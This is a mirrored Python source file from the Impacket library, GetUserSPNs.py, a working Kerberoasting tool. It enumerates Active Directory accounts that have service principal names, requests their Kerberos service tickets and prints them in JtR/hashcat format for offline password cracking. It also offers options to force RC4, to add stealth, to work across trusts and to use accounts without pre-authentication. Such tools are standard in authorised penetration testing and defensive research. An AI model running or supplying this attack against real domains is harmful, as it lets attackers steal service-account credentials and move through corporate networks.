mirror of
https://github.com/fortra/impacket
synced 2026-06-08 14:15:13 +00:00
Tomik
f1cb36178e
* Added a switch not to force RC4-HMAC when requesting a TGT as newer servers (e.g., 2025) won't issue service tickets when provided with RC4-HMAC TGT. * Update examples/GetUserSPNs.py Co-authored-by: alexisbalbachan <alexisbalbachan@gmail.com> --------- Co-authored-by: alexisbalbachan <alexisbalbachan@gmail.com>
542 lines
27 KiB
Python
Executable File
542 lines
27 KiB
Python
Executable File
#!/usr/bin/env python
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# Impacket - Collection of Python classes for working with network protocols.
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#
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# Copyright Fortra, LLC and its affiliated companies
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#
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# All rights reserved.
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#
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# This software is provided under a slightly modified version
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# of the Apache Software License. See the accompanying LICENSE file
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# for more information.
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#
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# Description:
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# This module will try to find Service Principal Names that are associated with normal user account.
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# Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request
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# will encrypt the ticket with the account the SPN is running under, this could be used for an offline
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# bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.
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# This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at
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# https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf
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#
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# Original idea of implementing this in Python belongs to @skelsec and his
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# https://github.com/skelsec/PyKerberoast project
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#
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# This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key.
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# Also, disabled accounts won't be shown.
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#
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# Author:
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# Alberto Solino (@agsolino)
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#
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# ToDo:
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# [X] Add the capability for requesting TGS and output them in JtR/hashcat format
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#
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from __future__ import division
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from __future__ import print_function
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import argparse
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import logging
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import sys
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from datetime import datetime
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from binascii import hexlify, unhexlify
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from pyasn1.codec.der import decoder
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from impacket import version
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from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_TRUSTED_FOR_DELEGATION, \
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UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
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from impacket.examples import logger
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from impacket.examples.utils import parse_identity, ldap_login
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from impacket.krb5 import constants
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from impacket.krb5.asn1 import TGS_REP, AS_REP
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from impacket.krb5.ccache import CCache
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from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
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from impacket.krb5.types import Principal
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from impacket.ldap import ldap, ldapasn1
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from impacket.ntlm import compute_lmhash, compute_nthash
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class GetUserSPNs:
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@staticmethod
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def printTable(items, header):
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colLen = []
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for i, col in enumerate(header):
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rowMaxLen = max([len(row[i]) for row in items])
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colLen.append(max(rowMaxLen, len(col)))
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outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
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# Print header
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print(outputFormat.format(*header))
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print(' '.join(['-' * itemLen for itemLen in colLen]))
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# And now the rows
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for row in items:
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print(outputFormat.format(*row))
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def __init__(self, username, password, user_domain, target_domain, cmdLineOptions):
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self.__username = username
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self.__password = password
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self.__domain = user_domain
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self.__target = None
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self.__targetDomain = target_domain
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self.__lmhash = ''
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self.__nthash = ''
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self.__no_preauth = cmdLineOptions.no_preauth
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self.__outputFileName = cmdLineOptions.outputfile
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self.__noRC4 = cmdLineOptions.no_rc4
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self.__usersFile = cmdLineOptions.usersfile
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self.__aesKey = cmdLineOptions.aesKey
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self.__doKerberos = cmdLineOptions.k
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self.__requestTGS = cmdLineOptions.request
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# [!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost
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self.__kdcIP = cmdLineOptions.dc_ip
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self.__kdcHost = cmdLineOptions.dc_host
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self.__saveTGS = cmdLineOptions.save
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self.__requestUser = cmdLineOptions.request_user
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self.__stealth = cmdLineOptions.stealth
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self.__machineOnly = cmdLineOptions.machine_only
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self.__requestMachine = cmdLineOptions.request_machine
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if cmdLineOptions.hashes is not None:
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self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
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# Create the baseDN
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domainParts = self.__targetDomain.split('.')
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self.baseDN = ''
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for i in domainParts:
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self.baseDN += 'dc=%s,' % i
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# Remove last ','
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self.baseDN = self.baseDN[:-1]
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# We can't set the KDC to a custom IP or Hostname when requesting things cross-domain
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# because then the KDC host will be used for both
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# the initial and the referral ticket, which breaks stuff.
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if user_domain != self.__targetDomain and (self.__kdcIP or self.__kdcHost):
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logging.warning('KDC IP address and hostname will be ignored because of cross-domain targeting.')
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self.__kdcIP = None
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self.__kdcHost = None
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@staticmethod
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def getUnixTime(t):
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t -= 116444736000000000
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t /= 10000000
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return t
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def getTGT(self):
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domain, _, TGT, _ = CCache.parseFile(self.__domain)
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if TGT is not None:
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return TGT
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# No TGT in cache, request it
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userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
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# In order to maximize the probability of getting session tickets with RC4 etype, we will convert the
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# password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
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# cleartext password.
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# If no clear text password is provided, we just go with the defaults.
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if self.__password != '' and (self.__lmhash == '' and self.__nthash == '') and not self.__noRC4:
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try:
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tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain,
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compute_lmhash(self.__password),
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compute_nthash(self.__password), self.__aesKey,
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kdcHost=self.__kdcIP)
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except Exception as e:
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logging.debug('TGT: %s' % str(e))
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tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
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unhexlify(self.__lmhash),
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unhexlify(self.__nthash), self.__aesKey,
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kdcHost=self.__kdcIP)
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else:
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tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
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unhexlify(self.__lmhash),
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unhexlify(self.__nthash), self.__aesKey,
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kdcHost=self.__kdcIP)
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TGT = {}
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TGT['KDC_REP'] = tgt
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TGT['cipher'] = cipher
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TGT['sessionKey'] = sessionKey
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return TGT
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def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None):
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if self.__no_preauth:
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decodedTGS = decoder.decode(ticket, asn1Spec=AS_REP())[0]
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else:
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decodedTGS = decoder.decode(ticket, asn1Spec=TGS_REP())[0]
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# According to RFC4757 (RC4-HMAC) the cipher part is like:
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# struct EDATA {
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# struct HEADER {
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# OCTET Checksum[16];
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# OCTET Confounder[8];
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# } Header;
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# OCTET Data[0];
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# } edata;
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#
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# In short, we're interested in splitting the checksum and the rest of the encrypted data
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#
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# Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96)
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# last 12 bytes of the encrypted ticket represent the checksum of the decrypted
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# ticket
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if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
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entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
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constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'],
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spn.replace(':', '~'),
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hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
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hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
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if fd is None:
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print(entry)
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else:
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fd.write(entry + '\n')
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elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
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entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
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constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'],
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spn.replace(':', '~'),
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hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
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hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode())
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if fd is None:
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print(entry)
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else:
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fd.write(entry + '\n')
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elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
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entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
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constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'],
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spn.replace(':', '~'),
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hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
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hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode())
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if fd is None:
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print(entry)
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else:
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fd.write(entry + '\n')
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elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:
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entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
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constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'],
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spn.replace(':', '~'),
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hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
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hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
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if fd is None:
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print(entry)
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else:
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fd.write(entry + '\n')
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else:
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logging.error('Skipping %s/%s due to incompatible e-type %d' % (
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decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],
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decodedTGS['ticket']['enc-part']['etype']))
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if self.__saveTGS is True:
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# Save the ticket
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logging.debug('About to save TGS for %s' % username)
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ccache = CCache()
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try:
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ccache.fromTGS(ticket, oldSessionKey, sessionKey)
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ccache.saveFile('%s.ccache' % username)
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except Exception as e:
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logging.error(str(e))
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def run(self):
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if self.__usersFile:
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self.request_users_file_TGSs()
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return
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# Connect to LDAP
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ldapConnection = ldap_login(self.__target, self.baseDN, self.__kdcIP, self.__kdcHost, self.__doKerberos, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, target_domain=self.__targetDomain, fqdn=True)
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# updating "self.__target" as it may have changed in the ldap_login processing
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self.__target = ldapConnection._dstHost
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# Building the search filter
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filter_spn = "servicePrincipalName=*"
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filter_person = "objectCategory=person"
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filter_computer = "objectCategory=computer"
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filter_not_disabled = "!(userAccountControl:1.2.840.113556.1.4.803:=2)"
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if self.__machineOnly is True:
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logging.debug('-machine-only flag detected')
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searchFilter = "(&"
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searchFilter += "(" + filter_computer + ")"
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searchFilter += "(" + filter_not_disabled + ")"
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# not updating to F-string due to other code using old string formatting
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if self.__requestMachine is not None:
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logging.debug('Including machine account (%s) in LDAP query filter' % self.__requestMachine)
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searchFilter += '(sAMAccountName:=%s)' % (self.__requestMachine)
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# traditional SPN based on person search
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else:
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searchFilter = "(&"
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searchFilter += "(" + filter_person + ")"
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searchFilter += "(" + filter_not_disabled + ")"
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if self.__requestUser is not None:
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searchFilter += '(sAMAccountName:=%s)' % self.__requestUser
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if self.__stealth is True:
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logging.warning('Stealth option may cause huge memory consumption / out-of-memory errors on very large domains.')
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else:
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searchFilter += "(" + filter_spn + ")"
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searchFilter += ')'
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try:
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# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
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paged_search_control = ldapasn1.SimplePagedResultsControl(criticality=True, size=1000)
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resp = ldapConnection.search(searchFilter=searchFilter,
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attributes=['servicePrincipalName', 'sAMAccountName',
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'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
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searchControls=[paged_search_control])
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except ldap.LDAPSearchError as e:
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if e.getErrorString().find('sizeLimitExceeded') >= 0:
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# We should never reach this code as we use paged search now
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logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
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resp = e.getAnswers()
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pass
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else:
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raise
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answers = []
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logging.debug('Total of records returned %d' % len(resp))
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for item in resp:
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if isinstance(item, ldapasn1.SearchResultEntry) is not True:
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continue
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mustCommit = False
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sAMAccountName = ''
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memberOf = ''
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SPNs = []
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pwdLastSet = ''
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userAccountControl = 0
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lastLogon = 'N/A'
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delegation = ''
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try:
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for attribute in item['attributes']:
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if str(attribute['type']) == 'sAMAccountName':
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sAMAccountName = str(attribute['vals'][0])
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mustCommit = True
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elif str(attribute['type']) == 'userAccountControl':
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userAccountControl = str(attribute['vals'][0])
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if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
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delegation = 'unconstrained'
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elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
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delegation = 'constrained'
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elif str(attribute['type']) == 'memberOf':
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memberOf = str(attribute['vals'][0])
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elif str(attribute['type']) == 'pwdLastSet':
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if str(attribute['vals'][0]) == '0':
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pwdLastSet = '<never>'
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else:
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pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
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elif str(attribute['type']) == 'lastLogon':
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if str(attribute['vals'][0]) == '0':
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lastLogon = '<never>'
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else:
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lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
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elif str(attribute['type']) == 'servicePrincipalName':
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for spn in attribute['vals']:
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SPNs.append(spn.asOctets().decode('utf-8'))
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if mustCommit is True:
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if int(userAccountControl) & UF_ACCOUNTDISABLE:
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logging.debug('Bypassing disabled account %s ' % sAMAccountName)
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else:
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for spn in SPNs:
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answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation])
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except Exception as e:
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logging.error('Skipping item, cannot process due to error %s' % str(e))
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pass
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if len(answers) > 0:
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self.printTable(answers, header=["ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon",
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"Delegation"])
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print('\n\n')
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if self.__requestTGS is True or self.__requestUser is not None or self.__requestMachine is not None:
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# Let's get unique user names and a SPN to request a TGS for
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users = dict((vals[1], vals[0]) for vals in answers)
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# Get a TGT for the current user
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TGT = self.getTGT()
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if self.__outputFileName is not None:
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fd = open(self.__outputFileName, 'w+')
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else:
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fd = None
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for user, SPN in users.items():
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sAMAccountName = user
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downLevelLogonName = self.__targetDomain + "\\" + sAMAccountName
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try:
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principalName = Principal()
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principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
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principalName.components = [downLevelLogonName]
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tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
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self.__kdcIP,
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TGT['KDC_REP'], TGT['cipher'],
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TGT['sessionKey'])
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self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName,
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self.__targetDomain + "/" + sAMAccountName, fd)
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except Exception as e:
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logging.debug("Exception:", exc_info=True)
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logging.error('Principal: %s - %s' % (downLevelLogonName, str(e)))
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if fd is not None:
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fd.close()
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else:
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print("No entries found!")
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def request_users_file_TGSs(self):
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with open(self.__usersFile) as fi:
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usernames = [line.strip() for line in fi]
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self.request_multiple_TGSs(usernames)
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def request_multiple_TGSs(self, usernames):
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if self.__outputFileName is not None:
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fd = open(self.__outputFileName, 'w+')
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else:
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fd = None
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if self.__no_preauth:
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for username in usernames:
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try:
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no_preauth_pincipal = Principal(self.__no_preauth, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
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tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=no_preauth_pincipal,
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password=self.__password,
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domain=self.__domain,
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lmhash=(self.__lmhash),
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nthash=(self.__nthash),
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aesKey=self.__aesKey,
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kdcHost=self.__kdcHost,
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serverName=username,
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kerberoast_no_preauth=True)
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self.outputTGS(tgt, oldSessionKey, sessionKey, username, username, fd)
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except Exception as e:
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logging.debug("Exception:", exc_info=True)
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logging.error('Principal: %s - %s' % (username, str(e)))
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if fd is not None:
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fd.close()
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else:
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# Get a TGT for the current user
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TGT = self.getTGT()
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for username in usernames:
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try:
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principalName = Principal()
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principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value
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principalName.components = [username]
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tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
|
|
self.__kdcIP,
|
|
TGT['KDC_REP'], TGT['cipher'],
|
|
TGT['sessionKey'])
|
|
self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)
|
|
except Exception as e:
|
|
logging.debug("Exception:", exc_info=True)
|
|
logging.error('Principal: %s - %s' % (username, str(e)))
|
|
|
|
if fd is not None:
|
|
fd.close()
|
|
|
|
|
|
# Process command-line arguments.
|
|
if __name__ == '__main__':
|
|
print(version.BANNER)
|
|
|
|
parser = argparse.ArgumentParser(add_help=True, description="Queries target domain for SPNs that are running "
|
|
"under a user account")
|
|
|
|
parser.add_argument('target', action='store', help='domain[/username[:password]]')
|
|
parser.add_argument('-target-domain', action='store',
|
|
help='Domain to query/request if different than the domain of the user. '
|
|
'Allows for Kerberoasting across trusts.')
|
|
parser.add_argument('-no-preauth', action='store', help='account that does not require preauth, to obtain Service Ticket'
|
|
' through the AS')
|
|
parser.add_argument('-stealth', action='store_true', help='Removes the (servicePrincipalName=*) filter from the LDAP query for added stealth. '
|
|
'May cause huge memory consumption / errors on large domains.')
|
|
parser.add_argument('-machine-only', action='store_true', default=False, help='Queries for machine accounts only, by adjusting `objectCategory=person` to `objectCategory=computer`. Active Directory may limit results to 1,000 objects by default. LDAP paging is required to retrieve more.')
|
|
|
|
parser.add_argument('-usersfile', help='File with user per line to test')
|
|
|
|
parser.add_argument('-request', action='store_true', default=False, help='Requests TGS for users and output them '
|
|
'in JtR/hashcat format (default False)')
|
|
exclusive_request_group = parser.add_mutually_exclusive_group()
|
|
exclusive_request_group.add_argument('-request-user', action='store', metavar='username', help='Requests TGS for the SPN associated '
|
|
'to the user specified (just the username, no domain needed)')
|
|
|
|
exclusive_request_group.add_argument('-request-machine', metavar='machinename', help='Requests TGS for the SPN associated to the machine specified. Example: `workstation01$`')
|
|
|
|
parser.add_argument('-save', action='store_true', default=False, help='Saves TGS requested to disk. Format is '
|
|
'<username>.ccache. Auto selects -request')
|
|
parser.add_argument('-outputfile', action='store',
|
|
help='Output filename to write ciphers in JtR/hashcat format. Auto selects -request')
|
|
parser.add_argument('-no-rc4', action='store_true', default=False, help='Does not force RC4-HMAC for the TGT')
|
|
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output.')
|
|
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
|
|
|
group = parser.add_argument_group('authentication')
|
|
|
|
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
|
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
|
group.add_argument('-k', action="store_true",
|
|
help='Use Kerberos authentication. Grabs credentials from ccache file '
|
|
'(KRB5CCNAME) based on target parameters. If valid credentials '
|
|
'cannot be found, it will use the ones specified in the command '
|
|
'line')
|
|
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
|
|
'(128 or 256 bits)')
|
|
|
|
group = parser.add_argument_group('connection')
|
|
group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If '
|
|
'ommited it use the domain part (FQDN) '
|
|
'specified in the target parameter. Ignored'
|
|
'if -target-domain is specified.')
|
|
group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. '
|
|
'If ommited, the domain part (FQDN) '
|
|
'specified in the account parameter will be used')
|
|
|
|
if len(sys.argv) == 1:
|
|
parser.print_help()
|
|
sys.exit(1)
|
|
|
|
options = parser.parse_args()
|
|
|
|
# Init the example's logger theme
|
|
logger.init(options.ts, options.debug)
|
|
|
|
if options.no_preauth and options.usersfile is None:
|
|
logging.error('You have to specify -usersfile when -no-preauth is supplied. Usersfile must contain'
|
|
' a list of SPNs and/or sAMAccountNames to Kerberoast.')
|
|
sys.exit(1)
|
|
|
|
userDomain, username, password, _, _, options.k = parse_identity(options.target, options.hashes, options.no_pass, options.aesKey, options.k)
|
|
|
|
if userDomain == '':
|
|
logging.critical('userDomain should be specified!')
|
|
sys.exit(1)
|
|
|
|
if options.target_domain:
|
|
targetDomain = options.target_domain
|
|
else:
|
|
targetDomain = userDomain
|
|
|
|
if options.save is True or options.outputfile is not None:
|
|
options.request = True
|
|
|
|
# auto enable machineonly, and request flag on -request-machine
|
|
if options.request_machine is not None:
|
|
options.machine_only = True
|
|
|
|
try:
|
|
executer = GetUserSPNs(username, password, userDomain, targetDomain, options)
|
|
executer.run()
|
|
except Exception as e:
|
|
if logging.getLogger().level == logging.DEBUG:
|
|
import traceback
|
|
traceback.print_exc()
|
|
logging.error(str(e))
|